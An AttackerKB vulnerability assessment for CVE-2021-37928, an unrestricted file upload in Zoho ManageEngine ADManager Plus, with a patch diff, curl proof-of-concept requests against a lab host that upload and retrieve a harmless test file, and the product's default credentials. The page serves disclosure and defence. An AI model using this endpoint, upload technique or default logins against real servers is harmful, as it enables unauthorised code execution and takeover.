Very High
CVE-2021-37928
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2021-37928
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Zoho ManageEngine ADManager Plus version 7110 and prior allows unrestricted file upload which leads to remote code execution.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityHigh
Technical Analysis
The affected endpoint is /RestAPI/WC/NotificationTemplate/attachFiles
with parameter UPLOADED_FILE
. The vulnerability can be exploited as the SYSTEM
user if the server is started as a service.
Patch
File(name) extension is now validated against an allowlist.
+ <url path="/RestAPI/WC/NotificationTemplate/attachFiles" method="post" dynamic-params="true" csrf="true"> + <file name="UPLOADED_FILE" content-type-name="notificationTemplateAttachments" max-size="25600" allowed-extensions="jpg,jpeg,gif,bmp,ico,png,csv,pdf,html,xls,xlsx"> + <filename regex="allowedFileNameChars" max-len="255"/> + </file> + </url>
public String attachFiles(HttpServletRequest request, HttpServletResponse response) throws Exception { JSONObject responseObj = new JSONObject(); ADSResourceBundle rb = null; Long userId = ObjectFactory.getInstance().getUserAdapter().getUserId(); try { rb = I18N.getInstance().getBundle(userId); JSONObject fileDetails = FileUtil.getFileFromRequest(request, "UPLOADED_FILE"); if (fileDetails.has("FILE_NAME") && fileDetails.has("FILE")) { - String directory = NotificationTemplateHandler.getInstance().getRelativeEmberAppDirectory(); - String fileName = System.currentTimeMillis() + "_" + fileDetails.optString("FILE_NAME", null); - InputStream is = null; - OutputStream os = null; - try { - File inputFile = (File)fileDetails.get("FILE"); - is = new FileInputStream(inputFile); - os = ObjectFactory.getInstance().getFileAdapter().writeCommonFile(directory + fileName); - byte[] buffer = new byte[(int)inputFile.length()]; - int length; - while ((length = is.read(buffer)) > 0) - os.write(buffer, 0, length); - } catch (Exception fileException) { - logger.log(Level.INFO, "Exception while file operations", fileException); - } finally { - if (is != null) - is.close(); - if (os != null) - os.close(); + boolean isValidfileExtension = FileUtil.validateImageFileExtension(fileDetails.optString("FILE_NAME"), 5000L); + if (isValidfileExtension) { + String directory = NotificationTemplateHandler.getInstance().getRelativeEmberAppDirectory(); + String fileName = System.currentTimeMillis() + "_" + fileDetails.optString("FILE_NAME", null); + InputStream is = null; + OutputStream os = null; + try { + File inputFile = (File)fileDetails.get("FILE"); + is = new FileInputStream(inputFile); + os = ObjectFactory.getInstance().getFileAdapter().writeCommonFile(directory + fileName); + byte[] buffer = new byte[(int)inputFile.length()]; + int length; + while ((length = is.read(buffer)) > 0) + os.write(buffer, 0, length); + } catch (Exception fileException) { + logger.log(Level.INFO, "Exception while file operations", fileException); + } finally { + if (is != null) + is.close(); + if (os != null) + os.close(); + } + String fileURL = NotificationTemplateHandler.getInstance().getWebAppContext() + File.separator + fileName; + responseObj.put("FILE_NAME", fileName); + responseObj.put("FILE_URL", fileURL); + responseObj.put("sSTATUS", rb.getString("ads.notification_template.files_attach.success")); } - String fileURL = NotificationTemplateHandler.getInstance().getWebAppContext() + File.separator + fileName; - responseObj.put("FILE_NAME", fileName); - responseObj.put("FILE_URL", fileURL); - responseObj.put("sSTATUS", rb.getString("ads.notification_template.files_attach.success")); } else { responseObj.put("eSTATUS", rb.getString("ads.notification_template.files_attach.error")); } } catch (Exception e) { responseObj.put("eSTATUS", rb.getString("ads.notification_template.files_attach.error")); logger.log(Level.INFO, e.getMessage(), e); } CommonUtil.setResponseText(response, responseObj.toString()); return null; }
package com.manageengine.ads.fw.common.util; import com.adventnet.iam.security.SecurityRequestWrapper; +import com.adventnet.iam.security.UploadFileRule; import com.adventnet.iam.security.UploadedFileItem; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.InputStreamReader; import java.util.List; import java.util.logging.Level; import java.util.logging.Logger; import javax.servlet.http.HttpServletRequest; import org.apache.commons.fileupload.FileItem; import org.apache.commons.fileupload.FileItemFactory; import org.apache.commons.fileupload.disk.DiskFileItemFactory; import org.apache.commons.fileupload.servlet.ServletFileUpload; import org.apache.commons.io.FilenameUtils; import org.json.JSONObject; public class FileUtil { private static Logger logger = Logger.getLogger("ADSLogger"); + public static final String[] DEFAULT_IMAGE_EXTENSION = new String[] { + "jpg", "png", "gif", "jpeg", "tiff", "pjp", "pjpeg", "jfif", "tif", "svg", + "bmp", "svgz", "webp", "ico", "xbm", "dib" }; + + public static final String[] DEFAULT_ZIP_EXTENSION = new String[] { "zip" }; + + public static final String[] DEFAULT_ICON_EXTENSION = new String[] { "ico" }; + + public static final String DEFAULT_FILE_NAME_REGEX = "^[a-zA-Z0-9._ -]+$"; + public static JSONObject getFileFromRequest(HttpServletRequest httpServletRequest, String paramName) { JSONObject json = new JSONObject(); File file = null; String fileName = null; Long fileSize = null; try { if (ServletRequestHandler.isInstanceOfSecurityWrapper(httpServletRequest)) { SecurityRequestWrapper secrequest = (SecurityRequestWrapper)httpServletRequest; UploadedFileItem item = secrequest.getMultipartParameter(paramName); if (item != null) { file = item.getUploadedFile(); fileName = item.getFileName(); fileSize = Long.valueOf(item.getFileSize()); } json.put("FILE", file); json.put("FILE_NAME", fileName); json.put("FILE_SIZE", fileSize); } else { List<FileItem> multiparts = (new ServletFileUpload((FileItemFactory)new DiskFileItemFactory())).parseRequest(httpServletRequest); json = getFileFromMultipartRequest(multiparts, paramName); } } catch (Exception e) { logger.log(Level.INFO, "Error in getting the file from request "); } return json; } public static String getFileContent(File file, String delimiter) { BufferedReader bufRead = null; String ret = null; try { StringBuffer outBuf = new StringBuffer(); InputStreamReader is = new InputStreamReader(new FileInputStream(file), "UTF-8"); bufRead = new BufferedReader(is); boolean startWrite = false; String line = bufRead.readLine(); while (line != null) { if (delimiter != null && !delimiter.equals("")) { if (line.contains(delimiter)) startWrite = true; if (startWrite) outBuf.append(line); if (line.contains("/" + delimiter)) startWrite = false; } else { outBuf.append(line); } line = bufRead.readLine(); } ret = outBuf.toString(); } catch (Exception e) { logger.log(Level.INFO, "", e); } finally { try { if (bufRead != null) bufRead.close(); } catch (Exception e) { logger.log(Level.INFO, "Error : " + e); } } return ret; } public static JSONObject getFileFromMultipartRequest(List multiparts, String paramName) { JSONObject file = new JSONObject(); try { for (FileItem item : multiparts) { if (!item.isFormField() && item.getFieldName().equals(paramName)) { String fileName = FilenameUtils.getName(item.getName()); File storeFile = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName); storeFile.deleteOnExit(); item.write(storeFile); file.put("FILE", storeFile); file.put("FILE_NAME", fileName); file.put("FILE_SIZE", item.getSize()); break; } } } catch (Exception e) { e.printStackTrace(); } return file; } + + public static boolean validateFileExtension(String fileName, String fieldName, String allowedContentTypeName, long maxSizeInKB, String[] allowedExtensions, String xssPattern, String fileNameRegex) { + if (fileName != null) { + UploadFileRule uploadFileRule = new UploadFileRule(fieldName, allowedContentTypeName, maxSizeInKB, allowedExtensions, xssPattern, fileNameRegex); + return uploadFileRule.validateExtension(fileName); + } + return false; + } + + public static boolean validateFileExtension(String fileName, String fieldName, String allowedContentTypeName, long maxSizeInKB, String[] allowedExtensions) { + return validateFileExtension(fileName, fieldName, allowedContentTypeName, maxSizeInKB, allowedExtensions, null, "^[a-zA-Z0-9._ -]+$"); + } + + public static boolean validateImageFileExtension(String fileName, long maxfileSizeInKB) { + return validateFileExtension(fileName, "IMAGE_FILE", "image", maxfileSizeInKB, DEFAULT_IMAGE_EXTENSION, null, "^[a-zA-Z0-9._ -]+$"); + } + + public static boolean validateZipFileExtension(String fileName, long maxfileSizeInKB) { + return validateFileExtension(fileName, "ZIP_FILE", "zip", maxfileSizeInKB, DEFAULT_ZIP_EXTENSION, null, "^[a-zA-Z0-9._ -]+$"); + } + + public static boolean validateIconFileExtension(String fileName, long maxfileSizeInKB) { + return validateFileExtension(fileName, "ICON_FILE", "icon", maxfileSizeInKB, DEFAULT_ICON_EXTENSION, null, "^[a-zA-Z0-9._ -]+$"); + } }
PoC
Note that I’ve already logged in. Default accounts/creds are available.
wvu@kharak:~$ curl -vb JSESSIONIDADSMSSO=0547AC6728E5FE0977DBF5F9D2A61892 http://172.16.57.222:8080/RestAPI/WC/NotificationTemplate/attachFiles -F "UPLOADED_FILE=@-;filename=foo.txt" <<<bar * Trying 172.16.57.222:8080... * Connected to 172.16.57.222 (172.16.57.222) port 8080 (#0) > POST /RestAPI/WC/NotificationTemplate/attachFiles HTTP/1.1 > Host: 172.16.57.222:8080 > User-Agent: curl/7.80.0 > Accept: */* > Cookie: JSESSIONIDADSMSSO=0547AC6728E5FE0977DBF5F9D2A61892 > Content-Length: 198 > Content-Type: multipart/form-data; boundary=------------------------98cb9d38d953de55 > * We are completely uploaded and fine * Mark bundle as not supporting multiuse < HTTP/1.1 200 < Set-Cookie: JSESSIONIDADMP=3EEABEA724F597559A78BE12A903D6C1; Path=/; HttpOnly < Cache-Control: no-cache, no-store < Pragma: no-cache < Expires: Thu, 01 Jan 1970 00:00:00 GMT < X-XSS-Protection: 1; mode=block < Strict-Transport-Security: max-age=31536000 ; includeSubDomains < vary: accept-encoding < Content-Type: text/html;charset=UTF-8 < Content-Length: 155 < Date: Mon, 29 Nov 2021 03:44:11 GMT < Server: ADMP < * Connection #0 to host 172.16.57.222 left intact {"sSTATUS":"Files are successfully attached.","FILE_NAME":"1638157451470_foo.txt","FILE_URL":"/ompemberapp/NotificationTemplates\\\\1638157451470_foo.txt"}wvu@kharak:~$
wvu@kharak:~$ curl -v http://172.16.57.222:8080/ompemberapp/NotificationTemplates/1638157451470_foo.txt * Trying 172.16.57.222:8080... * Connected to 172.16.57.222 (172.16.57.222) port 8080 (#0) > GET /ompemberapp/NotificationTemplates/1638157451470_foo.txt HTTP/1.1 > Host: 172.16.57.222:8080 > User-Agent: curl/7.80.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 < Set-Cookie: JSESSIONIDADMP=8F4512A6AB47CB362598575B9413CBBB; Path=/; HttpOnly < X-XSS-Protection: 1; mode=block < Strict-Transport-Security: max-age=31536000 ; includeSubDomains < X-FRAME-OPTIONS: SAMEORIGIN < Accept-Ranges: bytes < ETag: W/"4-1638157451470" < Last-Modified: Mon, 29 Nov 2021 03:44:11 GMT < Content-Type: text/plain;charset=UTF-8 < Content-Length: 4 < Date: Mon, 29 Nov 2021 03:45:33 GMT < Server: ADMP < bar * Connection #0 to host 172.16.57.222 left intact wvu@kharak:~$
Default creds…
Please change all these creds! Only the admin
account is clearly documented.
admin
:admin
helpdesk
:admin
hrassociate
:admin
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- zohocorp
Products
- manageengine admanager plus,
- manageengine admanager plus 7.1
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: